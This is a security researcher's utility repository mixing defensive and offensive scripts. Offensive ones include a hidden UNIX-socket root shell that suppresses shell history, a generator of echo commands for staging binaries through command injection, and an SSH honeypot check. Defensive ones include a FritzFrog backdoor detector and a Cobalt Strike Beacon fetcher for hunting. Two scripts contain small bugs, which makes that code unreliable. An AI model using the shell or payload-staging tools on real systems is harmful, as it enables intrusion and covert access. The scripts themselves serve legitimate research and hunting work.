├── punkspider.sh ├── wget_beacon.sh ├── unix_sock_shell.py ├── get_favicon_hash.py ├── gen_echoload.py ├── md5_recursive.py ├── imgbb.py ├── LICENSE ├── svndump.py ├── honeycheck_rw_ssh.py ├── README.md └── frogger_ssh.py /punkspider.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if test "$#" -ne 1; then 3 | echo "I require a domain." 4 | fi 5 | partialhash=$(echo -ne $1|md5sum|cut -d ' ' -f 1) 6 | url="https://api.punkspider.org/api/partial-hash/$partialhash" 7 | curl -s $url | jq .[].vulns 8 | -------------------------------------------------------------------------------- /wget_beacon.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # script may require tweaking. the "magic uri path" value works on most default CS BEACON servers. 3 | if [ $# -eq 0 ] 4 | then 5 | echo "$0 beacon_server_ip" 6 | exit 7 | fi 8 | echo "[+] Trying to get BEACON from $1" 9 | wget -U "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)" --no-check-certificate -O $1.exe https://$1/76jrip262736 10 | -------------------------------------------------------------------------------- /unix_sock_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # use: run this, perhaps as part of LPE exploit or whatever. 3 | # to connect: socat -,echo=0,raw unix:/dev/shm/.s 4 | import os 5 | import socket 6 | import pty 7 | sockfile = "/dev/shm/.s" 8 | if os.path.exists(sockfile): 9 | os.remove(sockfile) 10 | s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) 11 | s.bind(sockfile) 12 | os.chmod(sockfile, 0o666) # you may need to change this 13 | s.listen(1) 14 | (rem, addr) = s.accept() 15 | os.dup2(rem.fileno(), 0) 16 | os.dup2(rem.fileno(), 1) 17 | os.dup2(rem.fileno(), 2) 18 | os.putenv("HISTFILE","/dev/null") 19 | pty.spawn("/bin/bash") 20 | -------------------------------------------------------------------------------- /get_favicon_hash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import mmh3 3 | import requests 4 | import codecs 5 | import sys 6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | def get_hash(url): 10 | url = url + "/favicon.ico" 11 | response = requests.get(url=url, verify=False) 12 | favicon = codecs.encode(response.content,"base64") 13 | hash = mmh3.hash(favicon) 14 | return hash 15 | 16 | def main(args): 17 | if len(args) != 2: 18 | sys.exit("use: script.py https://lol.com") 19 | print get_hash(url=args[1]) 20 | 21 | if __name__ == "__main__": 22 | main(args=sys.argv) 23 | -------------------------------------------------------------------------------- /gen_echoload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | 4 | def gen_shellcode(binaryfile): 5 | tmp = open(binaryfile, "rb").read() 6 | shellcode = ''.join(["\\x%.2x" % ord(byte) for byte in tmp]) 7 | return shellcode 8 | 9 | def main(args): 10 | if len(args) != 2: 11 | sys.exit("%s file_to_drop.bin" %(args[0])) 12 | shellcode = gen_shellcode(binaryfile=args[1]) 13 | n = 700 # this will need to vary, as various command exec things may have length restrictions 14 | blobs = [shellcode[i:i+n] for i in range(0, len(shellcode), n)] 15 | num_blobs = len(blobs) 16 | for blob in blobs: 17 | print "echo -ne '%s' >> /tmp/haxx" %(blob) # vary this too - final path, maybe chars are blacklisted? 18 | 19 | if __name__ == "__main__": 20 | main(args=sys.argv) 21 | -------------------------------------------------------------------------------- /md5_recursive.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # coding: utf-8 3 | import hashlib 4 | import sys 5 | import os 6 | 7 | def hashfile(afile, hasher, blocksize=65536): 8 | buf = afile.read(blocksize) 9 | while len(buf) > 0: 10 | hasher.update(buf) 11 | buf = afile.read(blocksize) 12 | return hasher.hexdigest() 13 | 14 | def csv_logger(fname, md5hash, outfile): 15 | f = open(outfile, "a") 16 | f.write(fname+","+md5hash+"\n") 17 | f.close() 18 | 19 | 20 | def main(args): 21 | if len(args) !=3: 22 | sys.exit("use: %s /path/to/recurse outfile.csv" %(args[0])) 23 | for root, dirs, files in os.walk(args[1]): 24 | for file in files: 25 | try: 26 | fname = os.path.join(root,file) 27 | md5hash = hashfile(open(fname, 'rb'), hashlib.md5()) 28 | print "%s,%s" %(fname,md5hash) 29 | csv_logger(fname=fname, md5hash=md5hash, outfile=args[2]) 30 | except Exception: 31 | pass 32 | 33 | if __name__ == "__main__": 34 | main(args=sys.argv) 35 | -------------------------------------------------------------------------------- /imgbb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # coding: utf-8 3 | # upload image to imgbb.com, get direct link. 4 | import requests 5 | import json 6 | import sys 7 | 8 | api_key = "" # api.imgbb.com to get one of these. 9 | debug = False 10 | 11 | def abort(error): 12 | if debug == True: 13 | print "\nBegin Error\n" 14 | print e 15 | print "\nEnd Error\n" 16 | sys.exit("Exception - Quitting!") 17 | 18 | def upload_image(image, api_key): 19 | try: 20 | url = "https://api.imgbb.com/1/upload" 21 | data = {"key": api_key} 22 | files = {"image": open(image,"rb")} 23 | r = requests.post(url=url, data=data, files=files) 24 | except Exception, e: 25 | abort(error=e) 26 | try: 27 | parse = json.loads(r.text) 28 | print parse["data"]["display_url"] 29 | except Exception, e: 30 | abort(error=e) 31 | 32 | def main(args): 33 | if len(args) != 2: 34 | sys.exit("use: %s /path/to/file.png" %(args[0])) 35 | upload_image(image=args[1], api_key=api_key) 36 | 37 | if __name__ == "__main__": 38 | main(args=sys.argv) 39 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 darrenmartyn 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /svndump.py: -------------------------------------------------------------------------------- 1 | from Queue import Queue 2 | from threading import Thread 3 | import sys 4 | import svn.remote 5 | 6 | class Worker(Thread): 7 | """Thread executing tasks from a given tasks queue""" 8 | def __init__(self, tasks): 9 | Thread.__init__(self) 10 | self.tasks = tasks 11 | self.daemon = True 12 | self.start() 13 | 14 | def run(self): 15 | while True: 16 | func, args, kargs = self.tasks.get() 17 | try: 18 | func(*args, **kargs) 19 | except Exception, e: 20 | print e 21 | finally: 22 | self.tasks.task_done() 23 | 24 | class ThreadPool: 25 | """Pool of threads consuming tasks from a queue""" 26 | def __init__(self, num_threads): 27 | self.tasks = Queue(num_threads) 28 | for _ in range(num_threads): Worker(self.tasks) 29 | 30 | def add_task(self, func, *args, **kargs): 31 | """Add a task to the queue""" 32 | self.tasks.put((func, args, kargs)) 33 | 34 | def wait_completion(self): 35 | """Wait for completion of all the tasks in the queue""" 36 | self.tasks.join() 37 | 38 | def dump(plugin_base, repo_path): 39 | plugin_repo = plugin_base + repo_path 40 | print "{+} Now grabbing %s" %(plugin_repo) 41 | try: 42 | print "{+} Now grabbing %s" %(plugin_repo) 43 | s = svn.remote.RemoteClient(plugin_repo) 44 | s.checkout("./%s" %(repo_path)) 45 | except Exception, e: 46 | print e 47 | 48 | def main(args): 49 | if len(args) != 2: 50 | sys.exit("use: %s http://svn.org.com/" %(args[0])) 51 | r = svn.remote.RemoteClient(args[1]) 52 | pool = ThreadPool(40) 53 | for repo_path in r.list(): 54 | pool.add_task(dump, args[1], repo_path) 55 | pool.wait_completion() 56 | print "done..." 57 | 58 | if __name__ == '__main__': 59 | main(args=sys.argv) 60 | -------------------------------------------------------------------------------- /honeycheck_rw_ssh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | import paramiko 4 | import random 5 | import string 6 | import sys 7 | 8 | def generate_path(tempdir): 9 | output_string = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(10)) 10 | path = "%s/%s" %(tempdir, output_string) 11 | return path 12 | 13 | def generate_contents(): 14 | output_string = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(10)) 15 | return output_string 16 | 17 | def write_file(ip_address, username, password, path, contents): 18 | print "[+] Doing write file..." 19 | ssh = paramiko.SSHClient() 20 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 21 | try: 22 | ssh.connect(ip_address, username=username, password=password) 23 | print "[!] Logged in!" 24 | except Exception: 25 | sys.exit("[-] Login Failed!") 26 | try: 27 | command = "echo '%s' >> %s" %(contents, path) 28 | ssh.exec_command(command) 29 | except Exception: 30 | sys.exit("[-] Command execution failed! Possibly a pot?") 31 | print "[+] File written..." 32 | 33 | def read_file(ip_address, username, password, path, contents): 34 | ssh = paramiko.SSHClient() 35 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 36 | try: 37 | ssh.connect(ip_address, username=username, password=password) 38 | print "[!] Logged in!" 39 | except Exception: 40 | sys.exit("[-] Login Failed!") 41 | try: 42 | command = "cat %s" %(path) 43 | stdin, stdout, stderr = ssh.exec_command(command) 44 | if contents in stdout.read(): 45 | print "[+] Probably not a pot! Contents found" 46 | else: 47 | print "[!] Possibly a pot! Contents not found!" 48 | ssh.exec_command("rm %s" %(path)) 49 | except Exception: 50 | sys.exit("[-] Something went wrong. Possibly a pot.") 51 | 52 | 53 | def check_pot(ip_address, username, password): 54 | path = generate_path(tempdir="/tmp") 55 | contents = generate_contents() 56 | write_file(ip_address, username, password, path, contents) 57 | read_file(ip_address, username, password, path, contents) 58 | 59 | def main(args): 60 | if len(args) != 4: 61 | sys.exit("use: %s " %(args[0])) 62 | check_pot(ip_address=args[1], username=args[2], password=args[3]) 63 | 64 | if __name__ == "__main__": 65 | main(args=sys.argv) 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # misc_utils 2 | misc scripts/utils that I've written that don't deserve repos of their own. 3 | 4 | * unix_sock_shell.py - a PTY shell that listens on a UNIX socket. I found this useful for when exploiting LPE flaws in some shit that allowed me to run a command as root, but not get output. Instead of creating a setuid or setcap binary, just running this script and then polling for the socket becoming created was a reasonable way to get my root shell in a less horrible manner. 5 | 6 | * md5_recursive.py - a small script that will recurse through directories, taking an MD5 hash of each file and saving them to a CSV file of path,md5sum. This was incredibly useful when hunting for some amusing vulnerabilities in plugins for a certain web application - files that were "common" across many plugins, indicating library code, would get a good looking at. Or if a library was known to have a vulnerable file (eg: uploadify.php), we would hash that file and search for it in the output. Also useful for quickly hashing loads of malware, etc. 7 | 8 | * svndump.py - a small script I hacked together to solve a specific problem: I needed a copy of every wordpress plugin/theme that was available on the wordpress SVN server, for scientific purposes. So I bodged this horrible thing together to get me that data. It worked for me, and might work for you if you ever have to cope with such a cursed problem. 9 | 10 | * wget_beacon.sh - a small script to use "wget" to download the Beacon binary from a Cobalt Strike server in its default configuration. You may have to tweak it slightly, but it works on most "out of the box" Cobalt Strike setups with default settings. Very useful for hunting actors using Beacon, or trolling the red team. 11 | 12 | * gen_echoload.py - a small script for creating the requisite commands to "echo load" a binary onto a remote system. "echo loading" is a technique I used in some exploits while working at Xiphos, for example, the [Se0wned](https://github.com/XiphosResearch/exploits/tree/master/se0wned) exploit. It is also used heavily by various IoT botnets to stage droppers/bots onto boxes where there are no download tools like wget or tftp available. The idea is you give this script a binary to "generate commands for", and pipe its output to a file. You can then send these commands via whatever command injection primitive you have, creating the binary file at "/tmp/haxx" (or wherever, the script needs editing). Read the source for various params you need to tune. 13 | 14 | * imgbb.py - a small script to upload images to imgbb.com using their API, and return the direct link to the image. You will need an API key for this, which you can get at [api.imgbb.com](api.imgbb.com) by signing up for an account. imgbb doesn't compress images, which is quite handy (unlike imgur, which ruins your images). 15 | 16 | * frogger_ssh.py - quick bodge of a script based on [this blog post](https://rushter.com/blog/public-ssh-keys/), for detecting the ["FritzFrog" botnet](https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/). Relies on detecting if the SSH key backdoor is present. You just give it a user, host, and port. 17 | 18 | * get_favicon_hash.py - quick script to get the mmh3 hash of a favicon.ico file from some webserver so you can search for similar webservers in Shodan, etc. Very useful for finding embedded crap and enterprise shitware. Can't remember what I based this off at all. 19 | -------------------------------------------------------------------------------- /frogger_ssh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # quick bodge based on: https://rushter.com/blog/public-ssh-keys/ 3 | # https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/ 4 | import socket 5 | import sys 6 | 7 | import paramiko.auth_handler 8 | import argparse 9 | 10 | 11 | def valid(self, msg): 12 | self.auth_event.set() 13 | self.authenticated = True 14 | print("Valid key - user/box is frogged") 15 | 16 | 17 | def parse_service_accept(self, m): 18 | # https://tools.ietf.org/html/rfc4252#section-7 19 | service = m.get_text() 20 | if not (service == "ssh-userauth" and self.auth_method == "publickey"): 21 | return self._parse_service_accept(m) 22 | m = paramiko.message.Message() 23 | m.add_byte(paramiko.common.cMSG_USERAUTH_REQUEST) 24 | m.add_string(self.username) 25 | m.add_string("ssh-connection") 26 | m.add_string(self.auth_method) 27 | m.add_boolean(False) 28 | m.add_string(self.private_key.public_blob.key_type) 29 | m.add_string(self.private_key.public_blob.key_blob) 30 | self.transport._send_message(m) 31 | 32 | 33 | def patch_paramiko(): 34 | table = paramiko.auth_handler.AuthHandler._client_handler_table 35 | 36 | # In order to avoid using a private key, two callbacks must be patched. 37 | # The MSG_USERAUTH_INFO_REQUEST (SSH_MSG_USERAUTH_PK_OK 60) indicates a valid public key. 38 | table[paramiko.common.MSG_USERAUTH_INFO_REQUEST] = valid 39 | # The MSG_SERVICE_ACCEPT event triggers when server sends a request for auth. 40 | # By default, paramiko signs it with the private key. We don't want that. 41 | table[paramiko.common.MSG_SERVICE_ACCEPT] = parse_service_accept 42 | 43 | 44 | def probe_host(hostname_or_ip, port, username, public_key): 45 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 46 | sock.connect((hostname_or_ip, port)) 47 | transport = paramiko.transport.Transport(sock) 48 | transport.start_client() 49 | 50 | # For compatibility with paramiko, we need to generate a random private key and replace 51 | # the public key with our data. 52 | key = paramiko.RSAKey.generate(2048) 53 | key.public_blob = paramiko.pkey.PublicBlob.from_string(public_key) 54 | try: 55 | transport.auth_publickey(username, key) 56 | except paramiko.ssh_exception.AuthenticationException: 57 | print("This user or isn't frogged - key said nope") 58 | 59 | def main(): 60 | parser = argparse.ArgumentParser() 61 | parser.add_argument('host', type=str, help='Hostname or IP address') 62 | parser.add_argument('--ssh-username', type=str, default="root") 63 | parser.add_argument('--loglevel', default='INFO') 64 | parser.add_argument('--port', type=int, default=22) 65 | args = parser.parse_args(sys.argv[1:]) 66 | logging.basicConfig(level=args.loglevel) 67 | key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt" 68 | patch_paramiko() 69 | probe_host( 70 | hostname_or_ip=args.host, 71 | port=args.port, 72 | username=args.ssh_username, 73 | public_key=key 74 | ) 75 | 76 | if __name__ == '__main__': 77 | main() 78 | --------------------------------------------------------------------------------